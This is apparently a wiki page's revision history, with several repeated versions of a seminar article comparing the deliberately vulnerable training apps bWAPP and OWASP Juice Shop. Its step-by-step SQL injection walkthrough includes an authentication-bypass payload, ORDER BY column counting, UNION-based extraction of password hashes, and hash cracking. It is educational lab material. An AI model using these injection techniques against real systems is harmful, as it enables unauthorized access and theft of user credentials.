At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T17:48:16Z

CEberhart: /* Vulnerable Webservices */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Penetrating Testing ==

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

== SQL Injection Vulnerability ==

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

== Vulnerable Webservices ==
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it's like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:
*buggy web application (bWAPP)
#REDIRECT [[https://wiki.elvis.science/index.php?title=OWASP_Juice_Shop]]
*damn vulnerable web application (DVWA)
*OWASP Juice Shop

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 
== OWASP Juice Shop Challenge ==
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T17:45:24Z

CEberhart: /* vulnerable Webservices */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Penetrating Testing ==

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

== SQL Injection Vulnerability ==

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

== Vulnerable Webservices ==
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it's like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:
*buggy web application (bWAPP)
*damn vulnerable web application (DVWA)
*OWASP Juice Shop

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 
== OWASP Juice Shop Challenge ==
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T17:25:22Z

CEberhart: /* Web Security Test-Application */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Penetrating Testing ==

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

== SQL Injection Vulnerability ==

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

== vulnerable Webservices ==

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

